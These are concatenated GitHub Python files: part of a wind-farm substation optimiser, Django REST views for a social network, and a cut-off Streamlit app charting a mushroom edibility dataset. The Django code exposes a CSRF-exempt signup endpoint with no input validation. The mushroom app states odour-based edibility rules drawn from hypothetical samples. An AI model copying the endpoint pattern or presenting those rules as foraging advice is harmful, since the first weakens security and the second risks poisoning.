turbine_cluster = turbine_cluster\n sub_type = get_substation_type(data)\n print(\"sub_type\", sub_type)\n land_cable_type = get_cable_land_type(data, sub_type)\n a = pd.DataFrame().from_dict(data[\"land_substation_cable_types\"])\n # Take minnimum rating and minimum cost\n a = a[a[\"rating\"] > sub_type['rating']*1.5]\n a[\"metrics\"] = a[\"rating\"] * a[\"variable_cost\"]\n a = a.sort_values(\"metrics\")\n land_cable_type = int(a.iloc[0][\"id\"])\n print(\"land_cable_type\", land_cable_type)\n\n possible_sub_sites = pd.DataFrame().from_dict(data[\"substation_locations\"])[[\"x\", \"y\"]].to_numpy()\n list_substations = []\n\n list_substations = []\n selected_substation_id = []\n for barycentre_number in range(len(barycentres)):\n dict_distances_sites_to_barycentre = {}\n for site_number in range(len(possible_sub_sites)):\n dict_distances_sites_to_barycentre[site_number + 1] = np.linalg.norm(barycentres[barycentre_number] - possible_sub_sites[site_number])\n \n # sort the dict_distances_sites_to_barycentre by value\n \n list_distances = [(k,v) for k,v in dict_distances_sites_to_barycentre.items()]\n list_distances.sort(key=lambda x: x[1])\n while list_distances[0][0] in selected_substation_id:\n list_distances.pop(0)\n key_min = list_distances[0][0]\n selected_substation_id.append(key_min)\n \n \n list_substations.append(substation(\n id= key_min,\n land_cable_type = land_cable_type,\n substation_type = sub_type['id']\n ).to_dict())\n return list_substations\n\ndef turbines_cluster(data, n_clusters):\n idxy = pd.DataFrame().from_dict(data['wind_turbines'])\n id = idxy['id'].to_numpy()\n x = idxy[['x']].to_numpy()\n y = idxy[['y']].to_numpy()\n\n kmeans = KMeans(n_clusters=n_clusters)\n kmeans.fit(y)\n\n cluster_centers = np.concatenate((np.mean(x) * np.ones_like(kmeans.cluster_centers_), kmeans.cluster_centers_), axis=1)\n labels = kmeans.labels_\n \n return (cluster_centers, (id, labels))\n\ndef get_substation_type(data):\n min_rating = 1e6\n min_cost = 1e6\n eligible_types = []\n selected_type = None\n for substation_type in data['substation_types']:\n if min_rating > substation_type['rating']:\n min_rating = substation_type['rating']\n eligible_types = [substation_type]\n elif min_rating == substation_type['rating']:\n eligible_types.append(substation_type)\n\n for e in eligible_types:\n if min_cost > e['cost']:\n min_cost = e['cost']\n selected_type = e\n \n return selected_type\n\ndef get_cable_land_type(data, sub_type):\n eligible_land_cables = []\n for cable_type in data['land_substation_cable_types']:\n if cable_type['rating'] >= sub_type['rating']*1.1:\n eligible_land_cables.append(cable_type)\n\n min_cost = 1e6\n p = []\n for c in eligible_land_cables:\n if min_cost >= 25*c['variable_cost'] + c['fixed_cost']:\n p = [c]\n elif min_cost == 25*c['variable_cost'] + c['fixed_cost']:\n p.append(c)\n\n minval = min(p, key=lambda x: x['probability_of_failure'])\n p = [d for d in p if d['probability_of_failure'] == minval['probability_of_failure']]\n selected_type = min(p, key=lambda x: x['rating'])\n return selected_type\n","repo_name":"sade-adrien/kiro-2023","sub_path":"second_sol.py","file_name":"second_sol.py","file_ext":"py","file_size_in_byte":5591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"19730836896","text":"from django.shortcuts import render, get_object_or_404, redirect\nfrom django.http import HttpResponse, JsonResponse\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.models import User\nfrom django.views.decorators.csrf import csrf_exempt\nfrom rest_framework.authtoken.views import ObtainAuthToken\nfrom rest_framework.authtoken.models import Token\nfrom rest_framework.authentication import TokenAuthentication\nfrom rest_framework.response import Response\nfrom .forms import PostForm\nfrom rest_framework import viewsets\nfrom .models import Profile, Community, Post, Feed, Message, Profile, Like\nfrom rest_framework import generics, permissions, status\nfrom .serializers import ProfileSerializer, CommunitySerializer, PostSerializer, MessageSerializer\nfrom rest_framework.permissions import IsAuthenticated, AllowAny, IsAuthenticatedOrReadOnly, BasePermission\nfrom rest_framework.decorators import action\n\n\n\n\n\ndef home(request):\n return render(request, 'index.html')\n\n@login_required\ndef profile(request):\n profile = get_object_or_404(Profile, user=request.user)\n return render(request, 'profile.html', {'profile': profile})\n\n@login_required\ndef community(request, community_id):\n community = get_object_or_404(Community, id=community_id)\n posts = Post.objects.filter(community=community)\n return render(request, 'community.html', {'community': community, 'posts': posts})\n\n@login_required\ndef post(request, post_id):\n post = get_object_or_404(Post, id=post_id)\n return render(request, 'post.html', {'post': post})\n\n\n@login_required\ndef create_post(request):\n if request.method == 'POST':\n form = PostForm(request.POST, request.FILES)\n if form.is_valid():\n post = form.save(commit=False)\n post.user = request.user\n post.save()\n form.save_m2m()\n return redirect('feed')\n else:\n form = PostForm()\n return render(request, 'create_post.html', {'form': form})\n\n\n@login_required\ndef feed(request):\n feed = Feed.objects.filter(user=request.user.profile)\n return render(request, 'feed.html', {'feed': feed})\n\n\n@login_required\ndef chat(request, username):\n if request.method == 'POST':\n sender = request.user.profile\n receiver = get_object_or_404(User, username=username).profile\n content = request.POST.get('content')\n message = Message.objects.create(sender=sender, receiver=receiver, content=content)\n return redirect('chat', username=username)\n sender = request.user.profile\n receiver = get_object_or_404(User, username=username).profile\n messages_sent = Message.objects.filter(sender=sender, receiver=receiver)\n messages_received = Message.objects.filter(sender=receiver, receiver=sender)\n messages = messages_sent.union(messages_received).order_by('timestamp')\n return render(request, 'chat.html', {'sender': sender, 'receiver': receiver, 'messages': messages})\n\n\n@login_required\ndef search(request):\n query = request.GET.get('query')\n if not query:\n return HttpResponse('Empty query')\n communities = Community.objects.filter(name__icontains=query)\n return render(request, 'search.html', {'communities': communities})\n#---------- MÉTODOS ACIMA UTILIZADOS NA MODELAGEM QUANDO AINDA NÃO HÁ FRONT, APENAS PARA TESTES, DEVERÃO SER DESCONSIDERADOS EM BREVE\n\n\nclass ProfileList(generics.ListCreateAPIView):\n queryset = Profile.objects.all()\n serializer_class = ProfileSerializer\n permission_classes = [AllowAny]\n\nclass ConnectedProfileList(generics.ListCreateAPIView):\n serializer_class = ProfileSerializer\n permission_classes = [IsAuthenticated]\n\n def get_queryset(self):\n user = self.request.user\n return user.profile.connections.all()\n\n def perform_create(self, serializer):\n user = self.request.user\n serializer.save(user=user)\n\nclass ProfileDetail(generics.RetrieveUpdateAPIView):\n queryset = Profile.objects.all()\n serializer_class = ProfileSerializer\n permission_classes = [IsAuthenticated]\n\n def get_object(self):\n return self.request.user.profile\n\n\nclass CommunityList(generics.ListCreateAPIView):\n queryset = Community.objects.all()\n serializer_class = CommunitySerializer\n\nclass IsMember(BasePermission):\n def has_object_permission(self, request, view, obj):\n return request.user in obj.members.all()\n\nclass CommunityDetail(generics.RetrieveUpdateAPIView):\n queryset = Community.objects.all()\n serializer_class = CommunitySerializer\n permission_classes = [IsAuthenticatedOrReadOnly, IsMember]\n\nclass PostList(generics.ListCreateAPIView):\n queryset = Post.objects.all()\n serializer_class = PostSerializer\n permission_classes = [IsAuthenticated]\n\n def perform_create(self, serializer):\n serializer.save(author=self.request.user)\n\n def post(self, request, *args, **kwargs):\n return self.create(request, *args, **kwargs)\n\nclass IsPostCreator(BasePermission):\n def has_object_permission(self, request, view, obj):\n return request.user == obj.creator\n\nclass PostDetail(generics.RetrieveUpdateAPIView):\n queryset = Post.objects.all()\n serializer_class = PostSerializer\n permission_classes = [IsAuthenticatedOrReadOnly, IsPostCreator]\n\nclass MessageList(generics.ListCreateAPIView):\n queryset = Message.objects.all()\n serializer_class = MessageSerializer\n\nclass IsParticipant(BasePermission):\n def has_object_permission(self, request, view, obj):\n return request.user in obj.participants.all()\n\n\nclass IsConnectedProfileParticipant(BasePermission):\n def has_object_permission(self, request, view, obj):\n user = request.user\n connected_profile = obj.connected_profile\n return connected_profile in user.profile.connections.all()\n\n\nclass MessageViewSet(viewsets.ModelViewSet):\n serializer_class = MessageSerializer\n permission_classes = [permissions.IsAuthenticated, IsConnectedProfileParticipant]\n\n def get_queryset(self):\n user = self.request.user\n return Message.objects.filter(models.Q(sender=user) | models.Q(receiver=user))\n\n def perform_create(self, serializer):\n serializer.save(sender=self.request.user)\n\n @action(detail=True, methods=['get'])\n def chat_history(self, request, pk=None):\n other_user_id = request.GET.get('user_id')\n messages = Message.objects.filter(\n models.Q(sender_id=request.user.id, receiver_id=other_user_id) |\n models.Q(sender_id=other_user_id, receiver_id=request.user.id)\n ).order_by('created_at')\n serializer = MessageSerializer(messages, many=True)\n return Response(serializer.data)\n\n\nclass FeedUser(generics.ListCreateAPIView):\n serializer_class = PostSerializer\n permission_classes = [IsAuthenticated]\n\n def get_queryset(self):\n user = self.request.user\n profile = get_object_or_404(Profile, user=user)\n connections = profile.connections.all()\n profiles_to_include = list(connections) # Converta as conexões para uma lista\n profiles_to_include.append(profile)\n posts = Post.objects.filter(author__profile__in=profiles_to_include).order_by('-timestamp')\n ordered_posts = Post.objects.exclude(pk__in=posts).exclude(author=user).order_by('-likes')\n\n post_ids = list(posts.values_list('id', flat=True))\n ordered_post_ids = list(ordered_posts.values_list('id', flat=True))\n\n post_ids += ordered_post_ids\n post_ids = list(set(post_ids))\n\n queryset = Post.objects.filter(id__in=post_ids).order_by('-timestamp')\n return queryset.select_related('author__profile')\n\nclass CustomAuthToken(ObtainAuthToken):\n def post(self, request, *args, **kwargs):\n serializer = self.serializer_class(data=request.data, context={'request': request})\n serializer.is_valid(raise_exception=True)\n user = request.user\n user = serializer.validated_data['user']\n token, created = Token.objects.get_or_create(user=user)\n return Response({'token': token.key})\n\nclass LikePost(generics.RetrieveAPIView):\n queryset = Post.objects.all()\n serializer_class = PostSerializer\n permission_classes = [IsAuthenticated]\n\n def retrieve(self, request, *args, **kwargs):\n post = self.get_object()\n user = request.user\n\n if user.is_authenticated:\n liked = post.likes.filter(id=user.id).exists()\n return Response({'liked': liked})\n else:\n return Response({'detail': 'Authentication credentials were not provided.'}, status=status.HTTP_401_UNAUTHORIZED)\n\n def get_object(self):\n post_id = self.kwargs.get('post_id')\n post = get_object_or_404(Post, id=post_id)\n return post\n\n@csrf_exempt\ndef create_user(request):\n if request.method == 'POST':\n # Obtenha os dados do corpo da requisição\n username = request.POST.get('username')\n password = request.POST.get('password')\n email = request.POST.get('email')\n first_name = request.POST.get('first_name')\n last_name = request.POST.get('last_name')\n\n # Verifique se o usuário já existe\n if User.objects.filter(username=username).exists():\n return JsonResponse({'error': 'Username already exists'})\n\n # Crie um novo usuário\n user = User.objects.create_user(username=username, password=password, email=email, first_name=first_name, last_name=last_name)\n\n # Retorne a resposta adequada, por exemplo, um JSON com os dados do usuário criado\n return JsonResponse({'message': 'User created successfully', 'user': {'username': user.username, 'email': user.email, 'first_name': user.first_name, 'last_name': user.last_name}})\n else:\n return JsonResponse({'error': 'Invalid request method'})\n","repo_name":"arkannjo/shProject","sub_path":"backend/backShProject/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"37927764303","text":"from model import *\nimport streamlit as st \nimport pandas as pd \nimport numpy as np\nimport matplotlib.pyplot as plt \nfrom PIL import Image\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import plot_confusion_matrix\nfrom sklearn.metrics import plot_roc_curve\nfrom sklearn.metrics import plot_precision_recall_curve\nfrom sklearn.metrics import precision_score, recall_score, confusion_matrix\nimport plotly.graph_objects as go\nimport plotly.express as px\nfrom plotly import tools\nfrom plotly.subplots import make_subplots\nimport pickle\n\n\n\n@st.cache(persist=True)\ndef load_data():\n data = pd.read_csv(\"./mushroom.csv\")\n label =LabelEncoder()\n for i in data.columns:\n data[i] = label.fit_transform(data[i])\n return data\n\ndef main():\n st.title('IS MY MUSHROOM EDIBLE ?')\n st.sidebar.title('MENU')\n st.markdown(\"## **Introduction**\")\n img = Image.open('image1.jpg')\n st.image(img,use_column_width=True)\n st.markdown(\"**A mushroom or toadstool is the fleshy, spore-bearing fruiting body of a fungus, typically produced above ground, on soil, or on its food source.**\")\n st.markdown(\"Mushrooms are unique in the produce section because they are fungi and not vegetables. What we typically think of as a mushroom is the fleshy, fruiting, spore-bearing body of a fungus. The mushrooms we eat are generally composed of a stipe (stem), a pileus (cap), and lamellae (gills). There are, however, many morphological varieties of mushrooms and not all varieties have these features. There are approximately 14,000 different species of mushroom, many of which are inedible.\")\n \n \n \n\n df = load_data()\n \n data = pd.read_csv(\"./mushroomatt.csv\")\n st.markdown(\"## **About the Data**\")\n st.markdown(body=\"This data set includes descriptions of hypothetical samples corresponding to 23 species of gilled mushrooms in the Agaricus and\"\n \"Lepiota Family (pp. 500-525). Each species is identified as definitely edible, definitely poisonous, or of unknown edibility and not recommended. \" \n \"This latter class was combined with the poisonous one. The Guide clearly states that there is no simple rule for determining the edibility of a mushroom; \"\n \"no rule like ``leaflets three, let it be'' for Poisonous Oak and Ivy.\")\n\n st.sidebar.subheader(\"ABOUT THE DATA\")\n options = st.sidebar.selectbox(\"Choose an option\",('Show Attributes','Show Dataset','Show Both'))\n if options=='Show Attributes':\n st.markdown(\"### **The Attributes **\")\n st.write(data)\n if options=='Show Dataset':\n st.markdown(\"### **The Dataset**\")\n st.write(df) \n if options=='Show Both':\n st.markdown(\"### **The Attributes **\")\n st.write(data)\n st.markdown(\"### **The Dataset**\")\n st.write(df) \n\n st.markdown(\"## **Structure of Mushrooms**\")\n st.sidebar.subheader(\"FEATURE ANALYSIS\")\n st.markdown(\"### **• Cap of the Mushroon**\")\n st.markdown(body=\"The top part of a mushroom is called the cap. This cap looks similar to an umbrella and acts in a similar way in protection. This protection is most important to the gills and spores that are just below the cap. \")\n \n img = Image.open('cap.jpg')\n st.image(img, use_column_width=True)\n \n\n if st.sidebar.checkbox(\"Cap Features\",False,key=0):\n st.write('They are differently shaped,varied surface types and colored upper part of the mushroom that protects the gills; it usually resembles a headdress, hence its name.'\n 'Through the given graph we will determine the relationship of cap features like shape,surface and colour with the edibility of mushroom in the given data.')\n\n ##create dimensions\n type_dim = go.parcats.Dimension(\n values = df.type,\n label = \"types\",\n categoryarray = [0,1],\n categoryorder= 'category ascending',\n ticktext= ['edible','poisonous']\n\n )\n shape_dim = go.parcats.Dimension(\n values = df['cap-shape'].values,\n label = \"cap-shape\",\n categoryarray = [0,1,2,3,4,5],\n #categoryorder= 'category ascending',\n ticktext= ['Bell','conical','flat','knobbed','sunken','convex'],\n\n )\n surface_dim = go.parcats.Dimension(\n values = df['cap-surface'].values,\n label = \"cap-surface\",\n categoryarray = [0,1,2,3],\n #categoryorder= 'category ascending',\n ticktext= ['fibrous','grooves','smooth','scaly']\n\n )\n color_dim = go.parcats.Dimension(\n values = df['cap-color'].values,\n label = \"cap-color\",\n categoryarray = [0,1,2,3,4,5,6,7,8,9],\n #categoryorder= 'category ascending',\n ticktext= ['buff','cinnamon','red','gray','brown','pink','green','purple','white','yellow']\n\n )\n color = df.type\n colorscale = [[0, 'darkturquoise'], [1, 'steelblue']]\n #colorscale = [[0, 'lightblue'], [1, 'violet']]\n fig = go.Figure(data = [go.Parcats(dimensions=[type_dim, shape_dim, surface_dim,color_dim],\n line={'color': color, 'colorscale': colorscale},\n hoveron='dimension', hoverinfo='count+probability',\n labelfont={'size': 18, 'family': 'Times'},\n tickfont={'size': 16, 'family': 'Times'},\n arrangement='fixed')])\n fig.update_layout(height=500, width=800,paper_bgcolor='rgb(243, 243, 243)')\n st.write(fig)\n st.write('We have used parallel category diagram as parallel plot or parallel coordinates plot allows to compare the feature of several individual observations (series) on a set of numeric variables. Each vertical bar represents a variable and often has its own scale. (The units can even be different). Values are then plotted as series of lines connected across each axis.')\n st.write('From the graph we can infer that: \\n ➡ Maximum number of the mushrooms whether posionous or edible have their cap-shape as either convex or sunken.\\n'\n ' \\n ➡ Maximum number of the mushrooms have their surfaces as smooth, grooves and scaly. \\n '\n '\\n ➡ Maximum number of the mushrooms have their colour has green.')\n\n st.markdown(\"### **• Bruises of the Mushroon**\")\n st.markdown(body=\"Mushroom bruising involves nicking the top and bottom of the mushroom cap and observing any colour changes. As specimens that are not fresh don’t give reliable results, it is important to do this within the first 30 minutes of picking the mushroom.\")\n\n if st.sidebar.checkbox(\"Bruises\",False,key=1):\n st.write('The following Bargraph will help you understand the relationship of mushroom bruising with edibility.')\n # a=df.groupby(['bruises','type']).count()\n # st.write(a)\n # b=df['bruises'].where(df['type']==0) \n # st.write(b.count())\n data_bar=[\n go.Histogram(\n histfunc=\"count\",\n x= df['bruises'].where(df['type']==0), \n name = \"edible\",\n marker=dict(color=\"coral\",line=dict(color='red', width=4)),\n opacity=0.75\n\n ),\n go.Histogram(\n histfunc = \"count\",\n x = df['bruises'].where(df['type']==1),\n name = \"poisonous\",\n marker=dict(color=\"hotpink\",line=dict(color='purple', width=4)),\n opacity=0.75\n )\n\n ]\n layout = go.Layout(\n title='Bruises analysis and Edibility',\n xaxis=dict(\n title='Feature Value',\n \n ),\n yaxis=dict(\n title='Count'\n ),\n bargap=0.3,\n bargroupgap=0.2, paper_bgcolor='mistyrose',\n plot_bgcolor=\"mistyrose\")\n fig = go.Figure(data=data_bar, layout=layout)\n st.write(fig)\n st.write('From the graph we can infer that: \\n ➡ Mushrooms with no bruises are more prominent.\\n'\n ' \\n ➡ Poisonous mushrooms have the least number of bruises \\n '\n )\n\n st.markdown(\"### **• Odor of the Mushrooms**\")\n st.markdown(body=\"A odor of a mushroom is almond or anise, it is edible or if it is musty, creosote, pungent, fishy, spicy or foul, it is poisonous. Moreover, even most of the mushrooms which have none odor are poisonous. Odor feature is a really important feature to distinguish between a mushroom that is edible or poisonous.\")\n\n if st.sidebar.checkbox(\"Odor\",False,key=2):\n st.write('The following Bargraph will help you understand the relationship of mushroom bruising with edibility.')\n odor_edible=df['odor'].where(df['type']==0).value_counts()\n odor_poisonous=df['odor'].where(df['type']==1).value_counts()\n #st.write(odor_edible)\n # st.write(odor_poisonous.index)\n \n layout = go.Layout(\n yaxis = go.layout.YAxis(\n title='odor',\n tickvals=[5.0, 3.0, 0.0, 2.0, 7.0, 8.0, 6.0, 1.0, 4.0],\n ticktext=['none', 'anise', 'almond', 'foul', 'spicy','fishy', 'pungent', 'creosote', 'musty']\n ),\n xaxis = go.layout.XAxis(\n range=[-2000,2000],\n tickvals=[-2000, -1600, -1200, -800, -400, 0, 400, 800, 1200,1600,2000],\n ticktext=[2000, 1600, 1200, 800, 400, 0, 400, 800, 1200,1600,2000],\n title='count'\n ),\n barmode='overlay',\n bargap=0.2,\n paper_bgcolor=\"linen\",\n #paper_bgcolor='rgb(243, 243, 243)',\n plot_bgcolor='linen'\n\n )\n data_graph = [go.Bar(y=odor_edible.index,\n x=odor_edible,\n orientation='h',\n name='Edible',\n hoverinfo='text',\n text=odor_edible.astype('int'),\n marker=dict(color='navy'),\n width=0.8\n ),\n go.Bar(y=odor_poisonous.index,\n x=-1*odor_poisonous,\n orientation='h',\n name='Poisonous',\n hoverinfo='text',\n text=odor_poisonous.astype('int'),\n marker=dict(color='sandybrown'),\n width=0.8\n )]\n fig = go.Figure(data=data_graph, layout=layout)\n st.write(fig)\n st.write('From the graph we can infer that: \\n ➡ Mostly edible mushrooms have no order.\\n'\n ' \\n ➡ Poisonous mushrooms show a variety of odors with maximum count seen in foul category. \\n '\n \n )\n \n st.markdown(\"### **• The Gill Properties of mushroom**\")\n st.markdown(body=\"The gills of mushroom produce spores which help in the process of reproduction. The gills of mushroom hang vertically below its cap and allow the spores to fall in the downward direction into the air. These spores are further carried out by natural pollinators such as wind, insects and animals for the process of reproduction.\")\n img = Image.open('gill3.jpg')\n st.image(img,use_column_width=True) \n if st.sidebar.checkbox(\"Gill Properties\",False,key=2):\n st.write('Examining the gills is important when identifying mushrooms. Mycologists have many terms to describe gill structure,'\n 'some very precise and complicated. Here are some of the more common features of mushroom gills:\\n' \n '\\n ➡ Stem attachment: Observe how the gills attach to the stem. They may be \"free\", meaning they do not attach to the stem at all as with portobellos or amanitas. Or they may be attached directly or by a notch.\\n '\n '\\n ➡ Color and bruising: Note the color of your mushrooms gills. Sometimes they will be very different from the cap color. If you apply pressure to them with your fingernail or a knife they may bruise a different color. These features can help you identify mushrooms with gills.\\n'\n '\\n ➡ Gill spacing: Notice how many gills are packed into the underside of the cap. Is it crowded with many gills in one place or is there space between them? This can admittedly be hard to judge!')\n \n \n ga=df.groupby(['type','gill-attachment']).count()\n gs=df.groupby(['type','gill-spacing']).count()\n gsi=df.groupby(['type','gill-size']).count()\n gc=df.groupby(['type','gill-color']).count()\n st.write(gc)\n \n \n # b=df['bruises'].where(df['type']==0) \n # st.write(b.count())\n \n \n trace0 = go.Scatter(\n x = [0,1],\n y = ga.iloc[0:2,0],\n mode = 'markers',\n name = 'Edible',\n marker= dict(size= 14,\n line= dict(width=1),\n color= \"navy\",\n opacity= 0.7\n )\n )\n trace1 = go.Scatter(\n x = [0,1],\n y = ga.iloc[2:4,0],\n mode = 'markers',\n name = 'Poisonous',\n marker= dict(size= 14,\n line= dict(width=1),\n color= \"lime\",\n opacity= 0.7,\n symbol=220\n )\n )\n trace2 = go.Scatter(\n x = [0,1],\n y = gs.iloc[0:2,0],\n mode = 'markers',\n name = 'Edible',\n marker= dict(size= 14,\n line= dict(width=1),\n color= \"navy\",\n opacity= 0.7\n )\n )\n trace3 = go.Scatter(\n x =[0,1],\n y = gs.iloc[2:4,0],\n mode = 'markers',\n name = 'Poisonous',\n marker= dict(size= 14,\n line= dict(width=1),\n color= \"lime\",\n opacity= 0.7,\n symbol=220\n )\n )\n trace4 = go.Scatter(\n x = [0,1],\n y = gsi.iloc[0:2,0],\n mode = 'markers',\n name = 'Edible',\n marker= dict(size= 14,\n line= dict(width=1),\n color= \"navy\",\n opacity= 0.7\n )\n )\n trace5 = go.Scatter(\n x = [0,1],\n y = gsi.iloc[2:4,0],\n mode = 'markers',\n name = 'Poisonous',\n marker= dict(size= 14,\n line= dict(width=1),\n color= \"lime\",\n opacity= 0.7,\n symbol=220\n )\n )\n trace6 = go.Scatter(\n x = [1,2,3,4,5,6,7,9,10,11],\n y = gc.iloc[0:10,0],\n mode = 'markers',\n name = 'Edible',\n marker= dict(size= 14,\n line= dict(width=1),\n color= \"navy\",\n opacity= 0.7\n )\n )\n trace7 = go.Scatter(\n x = [0,2,3,4,5,6,7,8,9,10,11],\n y = gc.iloc[10:20,0],\n mode = 'markers',\n name = 'Poisonous',\n marker= dict(size= 14,\n line= dict(width=1),\n color= \"lime\",\n opacity= 0.7,\n symbol=220\n )\n )\n\n fig = tools.make_subplots(rows=2, cols=2, \n subplot_titles=('Gill Attachment','Gill Size', 'Gill Spacing',\"Gill Color\"))\n\n\n fig.append_trace(trace0, 1, 1)\n fig.append_trace(trace1, 1, 1)\n fig.append_trace(trace2, 2, 1)\n fig.append_trace(trace3, 2, 1)\n fig.append_trace(trace4, 1, 2)\n fig.append_trace(trace5, 1, 2)\n fig.append_trace(trace6, 2, 2)\n fig.append_trace(trace7, 2, 2)\n\n fig['layout'].update(showlegend=False,height=800, width=800, title='Gill Properties' ,paper_bgcolor='rgb(243, 243, 243)',\n plot_bgcolor=\"linen\")\n st.write(fig)\n st.write('From the above scatter plot we can observe that: \\n'\n '\\n ➡ Gill attachment and gill spacing are not distinctive features.\\n'\n '\\n ➡ Most of the mushrooms in dataset have free gill attachment and close gill spacing.\\n'\n '\\n ➡ Gill- size and gill colors can be. We can say a mushroom which has buff and green gill color is poisonous or red and orange gill color is edible. \\n'\n '\\n ➡ Most of the edible mushrooms have broad gill-size but numbers of poisonous mushrooms which have broad or narrow are close to each other. \\n'\n \n )\n\n \n st.markdown(\"### **• The Stalk Properties of mushroom**\")\n st.markdown(body=\"The gills of mushroom produce spores which help in the process of reproduction. The gills of mushroom hang vertically below its cap and allow the spores to fall in the downward direction into the air. These spores are further carried out by natural pollinators such as wind, insects and animals for the process of reproduction.\")\n if st.sidebar.checkbox(\"Stalk Properties\",False,key=3):\n # gill_att = df.groupby(['type','gill-attachment']).count()\n # gill_att1 = df.groupby(['type','gill-size']).count()\n # gill_att2 = df.groupby(['type','gill-spacing']).count()\n # gill_att3 = df.groupby(['type','gill-color']).count()\n \n # st.write(gill_att)\n # st.write(gill_att1)\n # st.write(gill_att2)\n # st.write(gill_att3)\n \n # fig.update_layout(margin = dict(t=10, l=10, r=10, b=10))\n # st.write(fig)\n df1 = pd.read_csv('./gills.csv')\n \n fig0 = px.sunburst(df1,path=['stalk-shape','type'])\n fig1 = px.sunburst(df1,path=['stalk-root','type'])\n fig2 = px.sunburst(df1,path=['stalk-surface-above-ring','type'])\n fig3 = px.sunburst(df1,path=['stalk-surface-below-ring','type'])\n fig = go.Figure()\n fig.add_trace(\n go.Sunburst(\n labels=fig0['data'][0]['labels'].tolist(),\n parents=fig0['data'][0]['parents'].tolist(),\n values=fig0['data'][0]['values'].tolist(),\n ids=fig0['data'][0]['ids'].tolist(),\n domain=dict(column=0,row=0),\n hovertemplate='%{label}
    mushroom_count: %{value}
    type: %{parent}',\n branchvalues='total',\n marker = {\n \"line\": {\"width\":3},\n \"colors\": ['#DEB887','#DAA520','#800080','#DB7093','#00BFFF','#7B68EE','#00FF7F','#800000']\n\n },\n insidetextorientation='radial',\n name='stalk-shape'\n \n \n ))\n \n fig.add_trace(\n go.Sunburst(\n labels=fig1['data'][0]['labels'].tolist(),\n parents=fig1['data'][0]['parents'].tolist(),\n values=fig1['data'][0]['values'].tolist(),\n ids=fig1['data'][0]['ids'].tolist(),\n domain=dict(column=1,row=0),\n branchvalues='total',\n hovertemplate='%{label}
    mushroom_count: %{value}
    type: %{parent}',\n \n marker = {\n \"line\": {\"width\":3},\n \"colors\": ['#DEB887','#DAA520','#800080','#DB7093','#00BFFF','#7B68EE','#00FF7F','#800000']\n\n },\n insidetextorientation='radial',\n name='stalk-root'\n ))\n \n fig.add_trace(\n go.Sunburst(\n labels=fig2['data'][0]['labels'].tolist(),\n parents=fig2['data'][0]['parents'].tolist(),\n values=fig2['data'][0]['values'].tolist(),\n ids=fig2['data'][0]['ids'].tolist(),\n domain=dict(column=0,row=1),\n branchvalues='total',\n hovertemplate='%{label}
    mushroom_count: %{value}
    type: %{parent}',\n \n marker = {\n \"line\": {\"width\":3},\n \"colors\": ['#DEB887','#DAA520','#800080','#DB7093','#00BFFF','#7B68EE','#00FF7F','#800000']\n\n },\n insidetextorientation='radial',\n name='stalk-surface-above-ring'\n ))\n \n fig.add_trace(\n go.Sunburst(\n labels=fig3['data'][0]['labels'].tolist(),\n parents=fig3['data'][0]['parents'].tolist(),\n values=fig3['data'][0]['values'].tolist(),\n ids=fig3['data'][0]['ids'].tolist(),\n domain=dict(column=1,row=1),\n branchvalues='total',\n hovertemplate='%{label}
    mushroom_count: %{value}
    type: %{parent}',\n \n marker = {\n \"line\": {\"width\":3},\n \"colors\": ['#DEB887','#DAA520','#800080','#DB7093','#00BFFF','#7B68EE','#00FF7F','#800000','#FFE4E1','#191970','#556B2F']\n\n },\n insidetextorientation='radial',\n name='stalk-surface-below-ring'\n )\n \n )\n # fig.update_layout(\n # grid= dict(columns=2, rows=2),\n # margin = dict(t=0, l=0, r=0, b=0),\n # uniformtext=dict(minsize=10, mode='hide')\n\n # )\n fig['layout'].update(\n showlegend=True, \n paper_bgcolor='ivory',\n plot_bgcolor=\"ivory\", \n grid= dict(columns=2, rows=2),\n margin = dict(t=0, l=0, r=0, b=0),\n uniformtext=dict(minsize=10, mode='hide'),\n title={\n 'text': \"Stalk properties\",\n 'y':0.97,\n 'x':0.5,\n 'xanchor': 'center',\n 'yanchor': 'top'})\n\n st.write(fig)\n\n value1=df.groupby(['type','stalk-color-above-ring']).count()\n #st.write(value1.iloc[0:7,0].index)\n # label1=stalk_color_above_ring_edible.index\n value2=df.groupby(['type','stalk-color-below-ring']).count()\n #st.write(value2)\n \n \n\n trace1=go.Bar(\n x = value1.iloc[0:7,0],\n y = value1.iloc[0:7,0].index.get_level_values('stalk-color-above-ring'),\n name='Edible- Stalk Color Above Ring',\n orientation = 'h',\n marker = dict(\n color = \"darksalmon\",\n line = dict(\n color = 'rgba(58, 71, 80, 1.0)',\n width = 2),\n opacity=0.8,\n ))\n \n trace2=go.Bar(\n x = value1.iloc[7:13,0],\n y = value1.iloc[7:13,0].index.get_level_values('stalk-color-above-ring'),\n name='Poisonous-Stalk Color Above Ring',\n orientation = 'h',\n marker = dict(\n color = \"plum\",\n line = dict(\n color = 'rgba(58, 71, 80, 1.0)',\n width = 2), opacity=0.8))\n \n trace3=go.Bar(\n x = value2.iloc[0:7,0],\n y = value2.iloc[0:7,0].index.get_level_values('stalk-color-below-ring'),\n name='Edible-Stalk Color Below Ring',\n orientation = 'h',\n marker = dict(\n color = \"palegreen\",\n line = dict(\n color = 'rgba(58, 71, 80, 1.0)',\n width = 2), opacity=0.8))\n \n trace4=go.Bar(\n x =value2.iloc[7:13,0] ,\n y =value2.iloc[7:13,0].index.get_level_values('stalk-color-below-ring'),\n name='Poisonous- Stalk Color Below Ring',\n orientation = 'h',\n marker = dict(\n color = \"sienna\",\n line = dict(\n color = 'rgba(58, 71, 80, 1.0)',\n width = 2), opacity=0.8))\n \n\n fig1= tools.make_subplots(rows=1, cols=2,subplot_titles=('Stalk Color Counts Above Ring','Stalk Color Counts Below Rings'))\n\n fig1.append_trace(trace1, 1, 1)\n fig1.append_trace(trace2, 1, 1)\n fig1.append_trace(trace3, 1, 2)\n fig1.append_trace(trace4, 1, 2)\n\n fig1['layout'].update(\n showlegend=True,\n height=600, width=800, \n barmode='stack',\n legend=dict(x=.58, y=-0.1,orientation=\"h\",font=dict(size=11,color='#000')),\n title='Stalk Colors Above and Below Ring',\n yaxis = go.layout.YAxis(\n title='colour',\n tickvals=[0.0,1.0,2.0,3.0,4.0,5.0,6.0,7.0,8.0],\n 